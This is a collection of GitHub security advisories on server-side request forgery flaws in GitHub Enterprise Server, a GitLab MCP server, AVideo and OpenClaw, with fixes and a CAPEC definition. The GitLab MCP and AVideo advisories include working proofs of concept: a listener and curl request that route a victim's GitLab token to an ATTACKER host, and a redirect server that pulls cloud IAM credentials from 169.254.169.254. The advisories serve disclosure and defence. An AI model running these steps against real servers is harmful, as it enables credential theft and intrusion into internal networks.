Vulnerability from github – Published: 2026-04-22 00:31 – Updated: 2026-04-28 21:36A server-side request forgery (SSRF) vulnerability was identified in GitHub Enterprise Server that allowed an attacker to extract sensitive environment variables from the instance through a timing side-channel attack against the notebook rendering service. When private mode was disabled, the notebook viewer followed HTTP redirects without revalidating the destination host, enabling an unauthenticated SSRF to internal services. By chaining this with regex filter queries against an internal API and measuring response time differences, an attacker could infer secret values character by character. Exploitation required that private mode be disabled and that the attacker be able to chain the instance's open redirect endpoint through an external redirect to reach internal services. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.21 and was fixed in versions 3.14.26, 3.15.21, 3.16.17, 3.17.14, 3.18.8, 3.19.5, and 3.20.1.

Vulnerability from github – Published: 2026-09-15 20:57 – Updated: 2026-09-15 20:57Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft
Affected
- Repository:
zereight/gitlab-mcp - Affected versions: All versions through commit
74a8c83 - Patched versions: None at time of report
Severity
High. CVSS v3.1 8.5 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
Description
When the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server
reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for
all outbound GitLab API calls made within that request. The server validates that
the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no
allowlist or hostname restriction. The server then attaches the victim's
Private-Token to every outbound fetch that uses the redirected URL.
Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an
attacker-controlled host. The next GitLab API call the server makes delivers the
victim's token to that host.
The vulnerable code appears at two locations.
SSE handler (index.ts:11541):
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // no allowlist check
}
Streamable HTTP handler (index.ts:11787), inside parseAuthHeaders:
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
new URL(dynamicApiUrl); // syntax-only check
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl); // any reachable host accepted
}
In both cases, apiUrl propagates through getEffectiveApiUrl() and into
getFetchConfig(), which attaches Private-Token: <victim_token> to every
outbound fetch. The token reaches the attacker's host, not GitLab.
Proof of Concept
Run upstream zereight/gitlab-mcp at commit 74a8c83 with
ENABLE_DYNAMIC_API_URL=true and REMOTE_AUTHORIZATION=true.
# 1. Start a listener on the attacker host (port 9099)
# Any HTTP server that logs incoming headers will work.
python3 -c "
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print('HEADERS:', dict(self.headers))
self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()
"
# 2. Send any MCP tool call with the malicious header
curl -X POST http://TARGET:3002/mcp \
-H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
-H "Authorization: Bearer ANY_VALID_TOKEN" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'
The listener receives:
GET /api/v4/projects/1/issues HTTP/1.1
private-token: <VICTIM_GITLAB_TOKEN>
Host: ATTACKER:9099
The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it.
Impact
The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables.
CVSS factors:
- PR:L: reaching the HTTP transport requires presenting some auth token
- S:C: the attack crosses the boundary into GitLab (a separate security domain)
- C:H: victim's GitLab token stolen in one request; full read of all scoped data
- I:H: attacker can push code and modify pipelines with the stolen token
- A:N: the MCP server continues operating normally
Why This Is a Vulnerability, Not Intended Behavior
ENABLE_DYNAMIC_API_URL is documented for supporting self-hosted GitLab
instances at a non-default base URL. The intended caller behavior is to supply
the URL of their own GitLab instance. The feature has no mechanism to distinguish
a legitimate self-hosted GitLab URL from an attacker-controlled host. Once
enabled, every request that includes X-GitLab-API-URL can redirect the server's
credential-carrying outbound calls to any reachable host with no restriction.
PR #453 (merged) added a startup guard that blocks the Streamable HTTP transport
from running with static tokens unless REMOTE_AUTHORIZATION=true or OAuth is
configured. That guard runs once at server startup and checks transport
configuration. It does not modify parseAuthHeaders, does not validate
X-GitLab-API-URL, and does not restrict the token-forwarding path at runtime.
The SSRF sink at index.ts:11787 is unchanged in the current code and fully
reachable in the documented multi-user deployment mode (REMOTE_AUTHORIZATION=true).
Remediation
Validate X-GitLab-API-URL against a configurable allowlist of trusted GitLab
hostnames before assigning the value to apiUrl. Reject any request whose
X-GitLab-API-URL hostname is not in the allowlist. Apply this check at both
index.ts:11541 and index.ts:11787.
Example fix for the Streamable HTTP handler:
const ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? "")
.split(",").map(h => h.trim()).filter(Boolean);
const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
const parsed = new URL(dynamicApiUrl);
if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`);
}
apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);
}
Document GITLAB_ALLOWED_HOSTS in the README alongside ENABLE_DYNAMIC_API_URL.
If maintaining an allowlist is not feasible, disable ENABLE_DYNAMIC_API_URL by
default and document the token-forwarding risk prominently.

Vulnerability from github – Published: 2026-05-05 22:16 – Updated: 2026-05-13 14:21Summary
Two endpoints in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections.
A secondary finding is that 6+ callers of isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.
Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
Details
Finding 1: Redirect-Based SSRF Bypass
Vulnerable code — plugin/AI/receiveAsync.json.php (line ~162–165):
// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
// blocked
} else {
$imageContent = file_get_contents($imageUrl); // ← FOLLOWS REDIRECTS!
}
Vulnerable code — objects/EpgParser.php (line ~358–362):
if (!isSSRFSafeURL($this->url)) {
throw new \RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file_get_contents($this->url); // ← FOLLOWS REDIRECTS!
Safe code for comparison — objects/functions.php, url_get_contents():
$opts = ['http' => ['follow_location' => 0]]; // Disable auto-redirect
$context = stream_context_create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
$fetched = file_get_contents($currentUrl, false, $context);
// ... parse Location header ...
if ($redirectTarget) {
if (!isSSRFSafeURL($redirectTarget)) { // Re-validates EACH hop
return false;
}
$currentUrl = $redirectTarget;
continue;
}
$tmp = $fetched;
break;
}
Root cause: The SSRF redirect protection (follow_location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url_get_contents() but NOT propagated to these two endpoints that call file_get_contents() directly. PHP's default follow_location is 1 (follow redirects).
Finding 2: DNS Rebinding TOCTOU (Multiple Callers)
isSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT_RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).
Affected callers (no DNS pinning):
- objects/aVideoEncoderReceiveImage.json.php — 4 call sites
- objects/aVideoEncoder.json.php — 1 call site
- plugin/BulkEmbed/save.json.php — 1 call site
- plugin/AI/receiveAsync.json.php — 1 call site
- objects/EpgParser.php — 1 call site
- plugin/Scheduler/Scheduler.php — 1 call site
PoC
Redirect Bypass PoC
- Attacker runs an HTTP server that returns a 302 redirect:
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
self.end_headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
- Attacker triggers AI image generation and intercepts the callback:
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded
type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir
isSSRFSafeURL("http://ATTACKER_IP:8888/redir")resolves attacker IP → public → passesfile_get_contents("http://ATTACKER_IP:8888/redir")follows 302 tohttp://169.254.169.254/...— no SSRF re-check occurs- Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker
Control test: Replace the redirect target with a legitimate public URL — isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.
DNS Rebinding PoC
- Configure a domain with TTL=0 DNS that alternates:
- First query: public IP (passes
isSSRFSafeURL) - Second query:
127.0.0.1(reaches internal services) - Submit
http://rebind.attacker.com/image.jpgto any affected endpoint isSSRFSafeURL()resolves → public IP → passes (discards$resolvedIP)url_get_contents()/file_get_contents()resolves again →127.0.0.1→ SSRF achieved
Impact
An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including: - Cloud metadata endpoints (169.254.169.254) — exfiltrate IAM credentials, instance identity - Internal services on localhost or private network (databases, admin panels, monitoring) - Port scanning of the internal network using the server as a proxy
The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.
Suggested Fix
Fix 1 (Redirect bypass — immediate): Route both affected files through url_get_contents() which already handles redirects safely, or add explicit no-redirect context:
$ctx = stream_context_create(['http' => ['follow_location' => 0]]);
$imageContent = file_get_contents($imageUrl, false, $ctx);
Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture $resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT_RESOLVE.

Vulnerability from github – Published: 2026-07-02 16:00 – Updated: 2026-07-02 16:00Summary
OpenClaw's browser control SSRF checks blocked direct navigation to private or loopback URLs, but some Playwright act interactions could trigger navigation after the initial check. A later browser evaluation could then read from the page reached by that action-triggered navigation.
This issue is specific to browser control actions and private-network navigation policy. Browser evaluation remains an intentional trusted-operator feature when it is used on pages that policy allowed the browser to visit.
Affected configurations
This affects deployments where browser control is enabled and an authenticated browser-control caller can interact with an attacker-controlled page that redirects or navigates the tab to a private-network target through a UI action.
Impact
If the browser reached a private page through an unchecked action-triggered navigation, a caller with browser evaluation capability could read page content that direct navigation policy would have blocked.
The issue does not grant access to OpenClaw without authentication. It bypasses the private-network navigation guard for a specific browser action path.
Patched Versions
The first stable patched version is 2026.5.18.
Mitigations
Upgrade to openclaw@2026.5.18 or later. Before upgrading, restrict browser-control access to trusted operators and avoid using browser control on untrusted pages in environments with sensitive private web services.

Vulnerability from github – Published: 2026-05-04 20:21 – Updated: 2026-05-12 13:36Summary
Zalo outbound photo URLs are validated through the SSRF guard.
Affected Packages / Versions
- Package: openclaw (npm)
- Affected versions: <= 2026.4.21
- Fixed version: 2026.4.22
Impact
The Zalo plugin could forward an attacker-controlled outbound photo URL to the Zalo Bot API without first applying OpenClaw's SSRF validation policy.
Fix
Zalo sendPhoto now parses and validates outbound photo URLs with the shared SSRF hostname policy before posting to Zalo, and media-reply paths route through the guarded outbound media helpers.
Fix Commit(s)
- a65eb1b864b7630c1242a82de9e5799b80583c3f
Verification
- The fix commit is contained in the public v2026.4.22 tag.
- openclaw@2026.4.22 is published on npm and the compiled package contains the fix.
- Focused regression coverage for this path passed before publication.
OpenClaw thanks @foodlook for reporting.

CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.
